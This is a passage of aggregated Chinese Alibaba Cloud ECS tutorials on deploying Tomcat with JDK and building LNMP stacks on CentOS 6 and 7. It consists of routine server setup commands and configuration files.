      • 如果您想永久关闭SELinux,输入命令vi /etc/selinux/config编辑SELinux配置文件。回车后,把光标移动到SELINUX=enforcing这一行,按下i键进入编辑模式,修改为SELINUX=disabled,按Esc键,然后输入:wq并回车以保存并关闭SELinux配置文件。
        说明 您可参考redhat关于SELinux的官方文档来决定何时开启SELinux。
    2. 重启系统使设置生效。
  4. 创建一般用户 www来运行Tomcat:
    useradd www 
  5. 创建网站根目录:
    mkdir -p /data/wwwroot/default 
  6. 将需要部署的Java Web项目文件WAR包上传到网站根目录下,然后将网站根目录下文件权限改为 www。本示例将直接在网站根目录下新建一个 Tomcat 测试页面:
    echo Tomcat test > /data/wwwroot/default/index.jsp
    chown -R www.www /data/wwwroot

安装 JDK

按以下步骤安装 JDK。

  1. 新建一个目录:
    mkdir /usr/java 
  2. 解压 jdk-8u191-linux-x64.tar.gz 到/usr/java
    chmod +x jdk-8u191-linux-x64.tar.gz
    tar xzf jdk-8u191-linux-x64.tar.gz -C /usr/java 
  3. 设置环境变量:
    1. 打开/etc/profile:vi /etc/profile
    2. 按下i 键进入编辑模式。
    3. 在/etc/profile 文件中添加以下信息:
      # set java environment export JAVA_HOME=/usr/java/jdk1.8.0_191 export CLASSPATH=$JAVA_HOME/lib/tools.jar:$JAVA_HOME/lib/dt.jar:$JAVA_HOME/lib export PATH=$JAVA_HOME/bin:$PATH
    4. 按下Esc键退出编辑模式,输入:wq保存并关闭文件。
  4. 加载环境变量: source /etc/profile
  5. 运行java -version命令,显示JDK版本信息时,表示 JDK 已经安装成功。
    阿里云使用小妙招

安装 Apache Tomcat

  1. 依次运行以下命令解压apache-tomcat-8.5.34.tar.gz,重命名Tomcat目录,并设置用户权限。
    tar xzf apache-tomcat-8.5.34.tar.gz
    mv apache-tomcat-8.5.34 /usr/local/tomcat/
    chown -R www.www /usr/local/tomcat/
    /usr/local/tomcat/目录中:
    • bin:存放 Tomcat 的一些脚本文件,包含启动和关闭 Tomcat 服务脚本。
    • conf:存放 Tomcat 服务器的各种全局配置文件,其中最重要的是 server.xmlweb.xml
    • webapps:Tomcat 的主要 Web 发布目录,默认情况下把 Web 应用文件放于此目录。
    • logs:存放 Tomcat 执行时的日志文件。
  2. 配置server.xml文件:
    1. 切换到/usr/local/tomcat/conf/ 目录:cd /usr/local/tomcat/conf/
    2. 重命名server.xml 文件:mv server.xml server.xml_bk
    3. 创建一个新的server.xml 文件:
      1. 运行命令vi server.xml
      2. 按下i键进入编辑模式。
      3. 添加以下内容:
      <?xml version="1.0" encoding="UTF-8"?> <Server port="8006" shutdown="SHUTDOWN"> <Listener className="org.apache.catalina.core.JreMemoryLeakPreventionListener"/> <Listener className="org.apache.catalina.mbeans.GlobalResourcesLifecycleListener"/> <Listener className="org.apache.catalina.core.ThreadLocalLeakPreventionListener"/> <Listener className="org.apache.catalina.core.AprLifecycleListener"/> <GlobalNamingResources> <Resource name="UserDatabase" auth="Container" type="org.apache.catalina.UserDatabase" description="User database that can be updated and saved" factory="org.apache.catalina.users.MemoryUserDatabaseFactory" pathname="conf/tomcat-users.xml"/> </GlobalNamingResources> <Service name="Catalina"> <Connector port="8080" protocol="HTTP/1.1" connectionTimeout="20000" redirectPort="8443" maxThreads="1000" minSpareThreads="20" acceptCount="1000" maxHttpHeaderSize="65536" debug="0" disableUploadTimeout="true" useBodyEncodingForURI="true" enableLookups="false" URIEncoding="UTF-8"/> <Engine name="Catalina" defaultHost="localhost"> <Realm className="org.apache.catalina.realm.LockOutRealm"> <Realm className="org.apache.catalina.realm.UserDatabaseRealm" resourceName="UserDatabase"/> </Realm> <Host name="localhost" appBase="/data/wwwroot/default" unpackWARs="true" autoDeploy="true"> <Context path="" docBase="/data/wwwroot/default" debug="0" reloadable="false" crossContext="true"/> <Valve className="org.apache.catalina.valves.AccessLogValve" directory="logs" prefix="localhost_access_log." suffix=".txt" pattern="%h %l %u %t &quot;%r&quot; %s %b" /> </Host> </Engine> </Service> </Server>
    4. Esc 键退出编辑模式,输入:wq保存并退出编辑。
  3. 设置 JVM 内存参数:
    1. 运行命令vi /usr/local/tomcat/bin/setenv.sh, 创建/usr/local/tomcat/bin/setenv.sh。
    2. 按下i键进入编辑模式。
    3. 添加以下内容:
      JAVA_OPTS='-Djava.security.egd=file:/dev/./urandom -server -Xms256m -Xmx496m -Dfile.encoding=UTF-8' 
    4. 按下Esc 键退出编辑模式,输入:wq保存并退出文件。
  4. 设置Tomcat 自启动脚本。
    1. 下载脚本:wget https://github.com/lj2007331/oneinstack/raw/master/init.d/Tomcat-init
    2. 重命名Tomcat-init:mv Tomcat-init /etc/init.d/tomcat
    3. 添加执行权限:chmod +x /etc/init.d/tomcat
    4. 运行以下命令,设置启动脚本JAVA_HOME。
      sed -i 's@^export JAVA_HOME=.*@export JAVA_HOME=/usr/java/jdk1.8.0_191@' /etc/init.d/tomcat 
  5. 设置自启动。
    chkconfig --add tomcat
    chkconfig tomcat on
  6. 启动Tomcat。
    service tomcat start 
  7. 在浏览器地址栏中输入http://公网IP:8080进行访问。出现下图所示页面时表示安装成功。
    阿里云使用小妙招
  8. 使用Web服务为ECS Linux实例配置网站及绑定域名。



如果您遇到任何问题,请随时联系联系米姆,我们将免费为您提供阿里云基础服务。

]]>
镜像部署-阿里云ECS Mon, 27 May 2019 21:06:17 +0800 镜像部署-阿里云ECS




Tomcat 作为一个开源且免费的 Java Web 服务器,常用来作为 Web 开发的工具。它可以托管由 Servlet、JSP 页面(动态内容)、HTML 页面、JS、样式表、图片(静态内容)组成的 Java Web 应用程序。本篇文档介绍如何在ECS实例上使用镜像部署Java Web环境。

部署方式

  • JAVA 镜像部署
  • 一键安装包部署
  • 手动部署(源码编译安装/YUM安装)
  • 使用Cloud Toolkit for Eclipse插件部署

一般推荐使用镜像部署,尤其适合新手,使用更加快捷方便(阿里云的云市场提供了丰富的镜像软件,单击查看)。而安装包部署以及手动部署适合对 Linux 命令有基本了解的用户,可以满足用户个性化部署的要求。本文主要介绍镜像和手工部署的方式。

镜像部署

  1. 单击 JAVA 环境(CentOS7.4 Nginx Tomcat8 JDK) 进入镜像详情页。
  2. 单击 立即购买,按提示步骤购买 ECS 实例。
  3. 登录 ECS管理控制台ECS 管理控制台。
  4. 在左边导航栏中,单击 实例,进入 ECS 实例列表页。
  5. 选择所购 ECS 实例所在的地域,找到已购的 ECS 实例,在 IP 地址 列获取该实例的公网 IP 地址。
  6. 在浏览器地址栏中输入 http://公网 IP 地址 后,收藏在线文档。
    说明 若输入公网后无法显示下述页面,请检查安全组公网入方向已开通80端口。

    阿里云使用小妙招
  7. 使用 Putty 登录 Linux 服务器,参考 使用SSH密钥对连接Linux实例。
    说明 若创建实例时未设置密码,root需 重置实例密码。
  8. /data/wwwroot/default 文件夹里的index.html更名为index.html_bk
    cd /data/wwwroot/default mv index.html index.html_bk
  9. 在Winscp工具里用公网 IP 地址连接Linux实例,然后从Winscp左侧的文件夹目录树中按 /data/wwwroot/default 路径进入default文件夹,将 Java 代码放入此文件夹中。
    阿里云使用小妙招
  10. 默认 Tomcat 是以一般 www 用户运行,将网站代码权限改为 www,执行命令:
    chown -R www.www /data/wwwroot

    阿里云使用小妙招
  11. 重启 Tomcat。
    service tomcat restart

    阿里云使用小妙招
  12. 在浏览器地址栏中输入公网 IP 地址,完成验证。
    阿里云使用小妙招
  13. 使用Web服务为ECS Linux实例配置网站及绑定域名。



如果您遇到问题,请随时联系米姆,我们将免费为您提供阿里云基础服务。

]]>
搭建LNMP环境(CentOS 7)-阿里云ECS Mon, 27 May 2019 21:06:17 +0800 搭建LNMP环境(CentOS 7)-阿里云ECS





本文档介绍如何手动在ECS实例上搭建LNMP环境(CentOS 7),其中LNMP分别代表Linux、Nginx、MySQL和PHP。

项目配置

本篇教程在示例步骤中使用了以下版本的软件。操作时,请您以实际软件版本为准。

  • 操作系统:CentOS 7.2 64位
  • Nginx版本:Nginx 1.10.2
  • MySQL版本:MySQL 5.6.24
  • PHP版本:PHP 5.6.38

适用对象

适用于熟悉Linux操作系统,刚开始使用阿里云进行建站的个人用户。

基本流程

使用云服务器ECS搭建LNMP平台的操作步骤如下:

  1. 准备编译环境。
  2. 安装Nginx。
  3. 安装MySQL。
  4. 安装PHP-FPM。
  5. 测试访问。
步骤一:准备编译环境。

本文主要说明手动安装LNMP平台的操作步骤,您也可以在 云市场 购买LNMP镜像直接启动ECS,以便快速建站。

  1. 使用向导创建实例。
    说明 本篇教程创建的ECS实例选用了CentOS 7.2 64位的操作系统,专有网络和公网IP。
  2. 使用管理终端连接ECS实例。
  3. 输入命令cat /etc/redhat-release查看系统版本。
    阿里云使用小妙招
  4. 关闭防火墙。

    输入systemctl status firewalld命令查看当前防火墙的状态。


    阿里云使用小妙招
    如果防火墙的状态参数是active,则防火墙为开启状态。如果防火墙的状态参数是inactive,则防火墙为关闭状态。如上图所示,此处防火墙为开启状态,需要运行如下命令关闭防火墙:
    • 如果您想临时关闭防火墙,输入命令systemctl stop firewalld
      说明 这只是暂时关闭防火墙,下次重启Linux后,防火墙还会开启。
    • 如果您想永久关闭防火墙,输入命令systemctl disable firewalld
      说明 您可参考firewalld官网信息来决定何时开启防火墙。
  5. 关闭SELinux。
    1. 输入getenforce命令查看当前SELinux的状态。
      阿里云使用小妙招
    2. 如果SELinux状态参数是Enforcing,则SELinux为开启状态。如果SELinux状态参数是Disabled, 则SELinux为关闭状态。如上图所示,此处SELinux为开启状态,需要运行如下命令关闭SELinux:
      • 如果您想临时关闭SELinux,输入命令setenforce 0
        说明 这只是暂时关闭SELinux,下次重启Linux后,SELinux还会开启。
      • 如果您想永久关闭SELinux,输入命令vi /etc/selinux/config编辑SELinux配置文件。回车后,把光标移动到SELINUX=enforcing这一行,按下i键进入编辑模式,修改为SELINUX=disabled, 按下Esc键,然后输入:wq并回车以保存并关闭SELinux配置文件。
        说明 您可参考redhat关于SELinux的官方文档来决定何时开启SELinux。
    3. 重启系统使设置生效。
  6. 参考添加安全组规则,放行所需端口入方向规则。
步骤二:安装Nginx。
  1. 安装依赖包。
    yum groupinstall "Development tools" -y yum install zlib-devel pcre-devel openssl-devel -y yum install epel-release -y yum install perl perl-devel perl-ExtUtils-Embed libxslt libxslt-devel libxml2 libxml2-devel gd gd-devel GeoIP GeoIP-devel -y
  2. 下载源码包解压编译。
    wget http://nginx.org/download/nginx-1.10.2.tar.gz
    tar xvf nginx-1.10.2.tar.gz -C /usr/local/src
    cd /usr/local/src/nginx-1.10.2
    ./configure --prefix=/etc/nginx 
    --sbin-path=/usr/sbin/nginx --conf-path=/etc/nginx/nginx.conf --error-log-path=/var/log/nginx/error.log --http-log-path=/var/log/nginx/access.log --pid-path=/var/run/nginx.pid --lock-path=/var/run/nginx.lock --http-client-body-temp-path=/var/tmp/nginx/client --http-proxy-temp-path=/var/tmp/nginx/proxy --http-fastcgi-temp-path=/var/tmp/nginx/fcgi --http-uwsgi-temp-path=/var/tmp/nginx/uwsgi --http-scgi-temp-path=/var/tmp/nginx/scgi --user=nginx --group=nginx --with-pcre --with-http_v2_module --with-http_ssl_module --with-http_realip_module --with-http_addition_module --with-http_sub_module --with-http_dav_module --with-http_flv_module --with-http_mp4_module --with-http_gunzip_module --with-http_gzip_static_module --with-http_random_index_module --with-http_secure_link_module --with-http_stub_status_module --with-http_auth_request_module --with-mail --with-mail_ssl_module --with-file-aio --with-ipv6 --with-http_v2_module --with-threads --with-stream --with-stream_ssl_module make && make install
    mkdir -p /var/tmp/nginx/client 
  3. 输入命令nginx -v可查看Nginx的版本号。
    阿里云使用小妙招
  4. 添加运行Nginx服务进程的用户。
    useradd nginx
    chown -R nginx:nginx /etc/nginx/
  5. 添加nginx.service启动配置文件。

    输入命令vi /usr/lib/systemd/system/nginx.service打开Nginx的启动配置文件,按下i键,然后在配置文件中写下如下内容:

    [Unit] Description=nginx - high performance web server Documentation=https://nginx.org/en/docs/ After=network-online.target remote-fs.target nss-lookup.target Wants=network-online.target 
    
    [Service] Type=forking PIDFile=/var/run/nginx.pid ExecStartPre=/usr/sbin/nginx -t -c /etc/nginx/nginx.conf ExecStart=/usr/sbin/nginx -c /etc/nginx/nginx.conf ExecReload=/bin/kill -s HUP $MAINPID ExecStop=/bin/kill -s TERM $MAINPID [Install] WantedBy=multi-user.target

    按下Esc键,然后输入:wq并回车以保存并关闭Nginx启动配置文件。

  6. 启动Nginx服务并设置开机自动启动。
    systemctl start nginx
    systemctl enable nginx
  7. 登录ECS管理控制台,单击左侧导航栏中的实例,在实例列表中找到正在部署环境的实例,从这个实例的IP地址项中复制它的公网IP,用浏览器访问这个IP地址可看到默认欢迎页面。
    阿里云使用小妙招
步骤三:安装MySQL。
  1. 准备编译环境。
    yum install ncurses-devel bison gnutls-devel –y
    yum install cmake -y
  2. 准备MySQL数据存放目录。
    mkdir /mnt/data groupadd -r mysql useradd -r -g mysql -s /sbin/nologin mysql id mysql
  3. 更改数据目录属主和属组。
    chown -R mysql:mysql /mnt/data
  4. 下载稳定版源码包解压编译。
    wget https://downloads.mysql.com/archives/get/file/mysql-5.6.24.tar.gz tar xvf mysql-5.6.24.tar.gz -C  /usr/local/src cd /usr/local/src/mysql-5.6.24 cmake . -DCMAKE_INSTALL_PREFIX=/usr/local/mysql 
    > -DMYSQL_DATADIR=/mnt/data 
    > -DSYSCONFDIR=/etc 
    > -DWITH_INNOBASE_STORAGE_ENGINE=1 
    > -DWITH_ARCHIVE_STORAGE_ENGINE=1 
    > -DWITH_BLACKHOLE_STORAGE_ENGINE=1 
    > -DWITH_READLINE=1 
    > -DWITH_SSL=system 
    > -DWITH_ZLIB=system 
    > -DWITH_LIBWRAP=0 
    > -DMYSQL_TCP_PORT=3306 
    > -DDEFAULT_CHARSET=utf8 
    > -DDEFAULT_COLLATION=utf8_general_ci 
    > -DMYSQL_UNIX_ADDR=/usr/local/mysql/mysql.sock 
    > -DWITH_SYSTEMD=1 
    > -DINSTALL_SYSTEMD_UNITDIR=/usr/lib/systemd/system 
    make && make install
  5. 修改安装目录的属组为mysql。
    chown -R mysql:mysql /usr/local/mysql/
  6. 初始化数据库并复制配置文件。
    cd /usr/local/mysql /usr/local/mysql/scripts/mysql_install_db --user=mysql --datadir=/mnt/data/ mv /etc/my.cnf /etc/my.cnf.bak
    cp /usr/local/mysql/support-files/my-default.cnf /etc/my.cnf
  7. 修改配置文件中的安装路径及数据目录存放路径。
    echo -e "basedir = /usr/local/mysqlndatadir = /mnt/datan" >> /etc/my.cnf
  8. 添加mysql.service启动配置文件。

    输入命令vi /usr/lib/systemd/system/mysql.service打开MySQL的启动配置文件,按下i键,然后在配置文件中写下如下内容:

    [Unit] Description=MySQL Community Server After=network.target After=syslog.target
    
    [Install] WantedBy=multi-user.target Alias=mysql.service
    
    [Service] User=mysql Group=mysql PermissionsStartOnly=true ExecStart=/usr/local/mysql/bin/mysqld TimeoutSec=600 Restart=always PrivateTmp=false

    按下Esc键,然后输入:wq并回车以保存并关闭MySQL启动配置文件。

  9. 设置PATH环境变量。
    echo "export PATH=$PATH:/usr/local/mysql/bin" > /etc/profile.d/mysql.sh source /etc/profile.d/mysql.sh
  10. 设置开机启动MySQL。
    systemctl enable mysql
  11. 启动MySQL服务。
    systemctl start mysql
    mysql –h 127.0.0.1
步骤四:安装PHP-FPM。

Nginx作为web服务器,当它接收到请求后,不支持对外部程序的直接调用或者解析,必须通过FastCGI进行调用。如果是PHP请求,则交给PHP解释器处理,并把结果返回给客户端。PHP-FPM是支持解析PHP的一个FastCGI进程管理器。提供了更好管理PHP进程的方式,可以有效控制内存和进程、可以平滑重载PHP配置。

  1. 安装依赖包。
    yum install libmcrypt libmcrypt-devel mhash mhash-devel libxml2 libxml2-devel bzip2 bzip2-devel
  2. 下载稳定版源码包解压编译。
    wget http://cn2.php.net/get/php-5.6.38.tar.bz2/from/this/mirror
    cp mirror php-5.6.38.tar.bz2
    tar xvf php-5.6.38.tar.bz2 -C /usr/local/src
    cd /usr/local/src/php-5.6.38
    ./configure --prefix=/usr/local/php 
    --with-config-file-scan-dir=/etc/php.d --with-config-file-path=/etc --with-mysql=/usr/local/mysql --with-mysqli=/usr/local/mysql/bin/mysql_config --enable-mbstring --with-freetype-dir --with-jpeg-dir --with-png-dir --with-zlib --with-libxml-dir=/usr --with-openssl --enable-xml --enable-sockets --enable-fpm --with-mcrypt --with-bz2 make && make install
  3. 添加PHP和PHP-FPM配置文件。
    cp /usr/local/src/php-5.6.38/php.ini-production /etc/php.ini cd /usr/local/php/etc/
    cp php-fpm.conf.default php-fpm.conf sed -i 's@;pid = run/php-fpm.pid@pid = /usr/local/php/var/run/php-fpm.pid@' php-fpm.conf
  4. 添加php-fpm.service启动配置文件。

    输入命令vi /usr/lib/systemd/system/php-fpm.service打开PHP-FPM的启动配置文件,按下i键,然后在配置文件中写下如下内容:

    [Unit] Description=The PHP FastCGI Process Manager After=network.target  [Service] Type=simple PIDFile=/usr/local/php/var/run/php-fpm.pid ExecStart=/usr/local/php/sbin/php-fpm --nodaemonize --fpm-config /usr/local/php/etc/php-fpm.conf ExecReload=/bin/kill -USR2 $MAINPID PrivateTmp=true  [Install] WantedBy=multi-user.target 

    按下Esc键,然后输入:wq并回车以保存并关闭PHP-FPM启动配置文件。

  5. 启动PHP-FPM服务并设置开机自动启动。
    systemctl start php-fpm
    systemctl enable php-fpm
  6. 启动服务。
    service php-fpm start
  7. 添加Nginx对FastCGI的支持。
    1. 备份默认的Nginx配置文件。
      cp /etc/nginx/nginx.conf /etc/nginx/nginx.confbak cp nginx.conf.default nginx.conf.default.bak cp /etc/nginx/nginx.conf.default /etc/nginx/nginx.conf
    2. 输入命令vi /etc/nginx/nginx.conf打开Nginx的配置文件,按下i键,在所支持的主页面格式中添加PHP格式的主页,类似如下:
      location / {
        root   /etc/nginx/html; index index.php index.html index.htm;
      }
    3. 取消以下内容前面的注释:
      location ~ .php$ { root html; fastcgi_pass 127.0.0.1:9000; fastcgi_index index.php; fastcgi_param SCRIPT_FILENAME /scripts$fastcgi_script_name; include fastcgi_params;
      }
    4. root html;改成root /etc/nginx/html;
    5. fastcgi_param SCRIPT_FILENAME /scripts$fastcgi_script_name;改成fastcgi_param SCRIPT_FILENAME /etc/nginx/html/$fastcgi_script_name;
    6. 按下Esc键,然后输入:wq并回车以保存并关闭Nginx配置文件。
  8. 输入命令systemctl restart nginx重新载入Nginx的配置文件。
  9. 输入命令vi /etc/nginx/html/index.php打开index.php文件,按下i键,然后在文件中写入如下内容:
    <?php $conn=mysql_connect('127.0.0.1','root',''); if ($conn){ echo "LNMP platform connect to mysql is successful!";
    }else{ echo "LNMP platform connect to mysql is failed!";
    }
    phpinfo(); ?>
  10. 按下Esc键,然后输入:wq并回车以保存并关闭index.php文件。
步骤五:测试访问

登录 ECS管理控制台,单击左侧导航栏中的实例,在实例列表中复制正在部署环境的实例的公网IP地址。用浏览器访问这个公网IP地址,如您看见如下图所示页面,则表示LNMP平台构建完成。


阿里云使用小妙招


]]>
搭建LNMP环境(CentOS 6)-阿里云ECS Mon, 27 May 2019 21:06:17 +0800 搭建LNMP环境(CentOS 6)-阿里云ECS



本文介绍如何手动在ECS实例上搭建LNMP环境(CentOS 6),其中LNMP分别代表Linux、Nginx、MySQL和PHP。

项目配置

本篇教程在示例步骤中使用了以下版本的软件。操作时,请您以实际软件版本为准。

  • 操作系统:CentOS 6.8 64位
  • Nginx版本:Nginx 1.10.2
  • MySQL版本:MySQL 5.6.24
  • PHP版本:PHP 5.6.23

适用对象

适用于熟悉Linux操作系统,刚开始使用阿里云进行建站的个人用户。

基本流程

使用云服务器ECS搭建LNMP平台的操作步骤如下:

  1. 准备编译环境。
  2. 安装Nginx。
  3. 安装MySQL。
  4. 安装PHP-FPM。
  5. 测试访问。
步骤一:准备编译环境。

本文主要说明手动安装LNMP平台的操作步骤,您也可以在 云市场 购买LNMP镜像直接启动ECS,以便快速建站。

  1. 使用向导创建实例。
    说明 本篇教程创建的ECS实例选用了CentOS 6.8 64位的操作系统,专有网络和公网IP。
  2. 使用管理终端连接ECS实例。
  3. 输入命令cat /etc/redhat-release查看系统版本。
    阿里云使用小妙招
  4. 关闭SELinux。
    1. 输入getenforce命令查看当前SELinux的状态。
      阿里云使用小妙招
    2. 如果SELinux状态参数是Enforcing,则SELinux为开启状态。如果SELinux状态参数是Disabled, 则SELinux为关闭状态。如上图所示,此处SELinux为开启状态,需要运行如下命令关闭SELinux:
      • 如果您想临时关闭SELinux,输入命令setenforce 0
        说明 这只是暂时关闭SELinux,下次重启Linux后,SELinux还会开启。
      • 如果您想永久关闭SELinux,输入命令vi /etc/selinux/config编辑SELinux配置文件。回车后,把光标移动到SELINUX=enforcing这一行,按下i键进入编辑模式,修改为SELINUX=disabled, 按下Esc键,然后输入:wq并回车以保存并关闭SELinux配置文件。
        说明 您可参考redhat关于SELinux的官方文档来决定何时开启SELinux。
    3. 重启系统使设置生效。
  5. 参考添加安全组规则,放行所需端口入方向规则。
步骤二:安装Nginx。
  1. 添加运行Nginx服务进程的用户。
    groupadd -r nginx useradd -r -g nginx  nginx
  2. 下载源码包解压编译。
    wget http://nginx.org/download/nginx-1.10.2.tar.gz
    tar xvf nginx-1.10.2.tar.gz -C /usr/local/src
    yum groupinstall "Development tools"
    yum -y install gcc wget gcc-c++ automake autoconf libtool libxml2-devel libxslt-devel perl-devel perl-ExtUtils-Embed pcre-devel openssl-devel
    cd /usr/local/src/nginx-1.10.2
    ./configure \
    --prefix=/usr/local/nginx \ --sbin-path=/usr/sbin/nginx \ --conf-path=/etc/nginx/nginx.conf \ --error-log-path=/var/log/nginx/error.log \ --http-log-path=/var/log/nginx/access.log \ --pid-path=/var/run/nginx.pid \ --lock-path=/var/run/nginx.lock \ --http-client-body-temp-path=/var/tmp/nginx/client \ --http-proxy-temp-path=/var/tmp/nginx/proxy \ --http-fastcgi-temp-path=/var/tmp/nginx/fcgi \ --http-uwsgi-temp-path=/var/tmp/nginx/uwsgi \ --http-scgi-temp-path=/var/tmp/nginx/scgi \ --user=nginx \ --group=nginx \ --with-pcre \ --with-http_v2_module \ --with-http_ssl_module \ --with-http_realip_module \ --with-http_addition_module \ --with-http_sub_module \ --with-http_dav_module \ --with-http_flv_module \ --with-http_mp4_module \ --with-http_gunzip_module \ --with-http_gzip_static_module \ --with-http_random_index_module \ --with-http_secure_link_module \ --with-http_stub_status_module \ --with-http_auth_request_module \ --with-mail \ --with-mail_ssl_module \ --with-file-aio \ --with-ipv6 \ --with-http_v2_module \ --with-threads \ --with-stream \ --with-stream_ssl_module make && make install
    mkdir -p /var/tmp/nginx/client
  3. 添加SysV启动脚本。

    输入命令vi /etc/init.d/nginx打开SysV启动脚本文件,按下i键,然后在脚本文件中写下如下内容:

     #!/bin/sh  #  # nginx - this script starts and stops the nginx daemon  #  # chkconfig:   - 85 15  # description: Nginx is an HTTP(S) server, HTTP(S) reverse \  #               proxy and IMAP/POP3 proxy server  # processname: nginx  # config:      /etc/nginx/nginx.conf  # config:      /etc/sysconfig/nginx  # pidfile:     /var/run/nginx.pid  # Source function library.  . /etc/rc.d/init.d/functions # Source networking configuration.  . /etc/sysconfig/network # Check that networking is up.  [ "$NETWORKING" = "no" ] && exit 0
    nginx="/usr/sbin/nginx" prog=$(basename $nginx)
    NGINX_CONF_FILE="/etc/nginx/nginx.conf" [ -f /etc/sysconfig/nginx ] && . /etc/sysconfig/nginx
    lockfile=/var/lock/subsys/nginx start() {
        [ -x $nginx ] || exit 5
        [ -f $NGINX_CONF_FILE ] || exit 6 echo -n $"Starting $prog: " daemon $nginx -c $NGINX_CONF_FILE retval=$? echo [ $retval -eq 0 ] && touch $lockfile return $retval } stop() { echo -n $"Stopping $prog: " killproc $prog -QUIT
        retval=$? echo [ $retval -eq 0 ] && rm -f $lockfile return $retval killall -9 nginx
    } restart() {
        configtest || return $?
        stop
        sleep 1
        start
    } reload() {
        configtest || return $? echo -n $"Reloading $prog: " killproc $nginx -HUP
    RETVAL=$? echo } force_reload() {
        restart
    } configtest() { $nginx -t -c $NGINX_CONF_FILE } rh_status() {
        status $prog } rh_status_q() {
        rh_status >/dev/null 2>&1
    } case "$1" in start)
            rh_status_q && exit 0 $1 ;;
        stop)
            rh_status_q || exit 0 $1 ;;
        restart|configtest) $1 ;;
        reload)
            rh_status_q || exit 7 $1 ;;
        force-reload)
            force_reload
            ;;
        status)
            rh_status
            ;;
        condrestart|try-restart)
            rh_status_q || exit 0
                ;;
        *) echo $"Usage: $0 {start|stop|status|restart|condrestart|try-restart|reload|force-reload|configtest}" exit 2 esac

    按下Esc键,然后输入:wq并回车以保存并关闭SysV启动脚本文件。

  4. 赋予脚本执行权限。
    chmod +x /etc/init.d/nginx
  5. 添加至服务管理列表,设置开机自启。
    chkconfig --add nginx chkconfig  nginx on
  6. 启动服务。
    service nginx start
  7. 登录ECS管理控制台,单击左侧导航栏中的实例,在实例列表中找到正在部署环境的实例,从这个实例的IP地址项中复制它的公网IP,用浏览器访问这个IP地址可看到默认欢迎页面。
    阿里云使用小妙招
步骤三:安装MySQL。
  1. 准备编译环境。
    yum groupinstall "Server Platform Development" "Development tools" -y yum install cmake -y
  2. 准备MySQL数据存放目录。
    mkdir /mnt/data groupadd -r mysql useradd -r -g mysql -s /sbin/nologin mysql id mysql
  3. 更改数据目录属主和属组。
    chown -R mysql:mysql /mnt/data
  4. 下载稳定版源码包解压编译。
    wget https://downloads.mysql.com/archives/get/file/mysql-5.6.24.tar.gz tar xvf mysql-5.6.24.tar.gz -C  /usr/local/src cd /usr/local/src/mysql-5.6.24 cmake . -DCMAKE_INSTALL_PREFIX=/usr/local/mysql \
    -DMYSQL_DATADIR=/mnt/data \
    -DSYSCONFDIR=/etc \
    -DWITH_INNOBASE_STORAGE_ENGINE=1 \
    -DWITH_ARCHIVE_STORAGE_ENGINE=1 \
    -DWITH_BLACKHOLE_STORAGE_ENGINE=1 \
    -DWITH_READLINE=1 \
    -DWITH_SSL=system \
    -DWITH_ZLIB=system \
    -DWITH_LIBWRAP=0 \
    -DMYSQL_TCP_PORT=3306 \
    -DMYSQL_UNIX_ADDR=/tmp/mysql.sock \
    -DDEFAULT_CHARSET=utf8 \
    -DDEFAULT_COLLATION=utf8_general_ci make && make install
  5. 修改安装目录的属组为mysql。
    chown -R mysql:mysql /usr/local/mysql/
  6. 初始化数据库。
    cd /usr/local/mysql /usr/local/mysql/scripts/mysql_install_db --user=mysql --datadir=/mnt/data/
    说明 在CentOS 6.8版操作系统的最小安装完成后,在/etc目录下会存在一个my.cnf,需要将此文件更名为其他的名字,如/etc/my.cnf.bak,否则,该文件会干扰源码安装的MySQL的正确配置,造成无法启动。
  7. 复制配置文件和启动脚本。
    cp /usr/local/mysql/support-files/mysql.server /etc/init.d/mysqld
    chmod +x /etc/init.d/mysqld
    cp /usr/local/mysql/support-files/my-default.cnf /etc/my.cnf
  8. 设置开机自动启动。
    cd
    chkconfig mysqld on chkconfig --add mysqld
  9. 修改配置文件中的安装路径及数据目录存放路径。
    echo -e "basedir = /usr/local/mysql\ndatadir = /mnt/data\n" >> /etc/my.cnf
  10. 设置PATH环境变量。
    echo "export PATH=$PATH:/usr/local/mysql/bin" > /etc/profile.d/mysql.sh source /etc/profile.d/mysql.sh
  11. 启动服务。
    service mysqld start 
    mysql -h 127.0.0.1
步骤四:安装PHP-FPM。

Nginx作为web服务器,当它接收到请求后,不支持对外部程序的直接调用或者解析,必须通过FastCGI进行调用。如果是PHP请求,则交给PHP解释器处理,并把结果返回给客户端。PHP-FPM是支持解析PHP的一个FastCGI进程管理器。提供了更好管理PHP进程的方式,可以有效控制内存和进程、可以平滑重载PHP配置。

  1. 安装依赖包。
    yum install libmcrypt libmcrypt-devel mhash mhash-devel libxml2 libxml2-devel bzip2 bzip2-devel
  2. 下载稳定版源码包解压编译。
    wget http://cn2.php.net/get/php-5.6.23.tar.bz2/from/this/mirror
    cp mirror php-5.6.23.tar.bz2
    tar xvf php-5.6.23.tar.bz2 -C /usr/local/src
    cd /usr/local/src/php-5.6.23
    ./configure --prefix=/usr/local/php \
    --with-config-file-scan-dir=/etc/php.d \ --with-config-file-path=/etc \ --with-mysql=/usr/local/mysql \ --with-mysqli=/usr/local/mysql/bin/mysql_config \ --enable-mbstring \ --with-freetype-dir \ --with-jpeg-dir \ --with-png-dir \ --with-zlib \ --with-libxml-dir=/usr \ --with-openssl \ --enable-xml \ --enable-sockets \ --enable-fpm \ --with-mcrypt \ --with-bz2 make && make install
  3. 添加PHP和PHP-FPM配置文件。
    cp /usr/local/src/php-5.6.23/php.ini-production /etc/php.ini cd /usr/local/php/etc/
    cp php-fpm.conf.default php-fpm.conf sed -i 's@;pid = run/php-fpm.pid@pid = /usr/local/php/var/run/php-fpm.pid@' php-fpm.conf
  4. 添加PHP-FPM启动脚本。
    cp /usr/local/src/php-5.6.23/sapi/fpm/init.d.php-fpm /etc/init.d/php-fpm
    chmod +x /etc/init.d/php-fpm
  5. 添加PHP-FPM至服务列表并设置开机自启。
    chkconfig --add php-fpm  chkconfig --list php-fpm  chkconfig php-fpm on
  6. 启动服务。
    service php-fpm start
  7. 添加Nginx对FastCGI的支持。
    1. 备份默认的Nginx配置文件。
      cp /etc/nginx/nginx.conf /etc/nginx/nginx.confbak cp /etc/nginx/nginx.conf.default /etc/nginx/nginx.conf
    2. 输入命令vi /etc/nginx/nginx.conf打开Nginx的配置文件,按下i键,在所支持的主页面格式中添加php格式的主页,类似如下:
      location / {
        root   /usr/local/nginx/html; index index.php index.html index.htm;
      }
    3. 取消以下内容前面的注释:
      location ~ \.php$ { root html; fastcgi_pass 127.0.0.1:9000; fastcgi_index index.php; fastcgi_param SCRIPT_FILENAME /scripts$fastcgi_script_name; include fastcgi_params;
      }
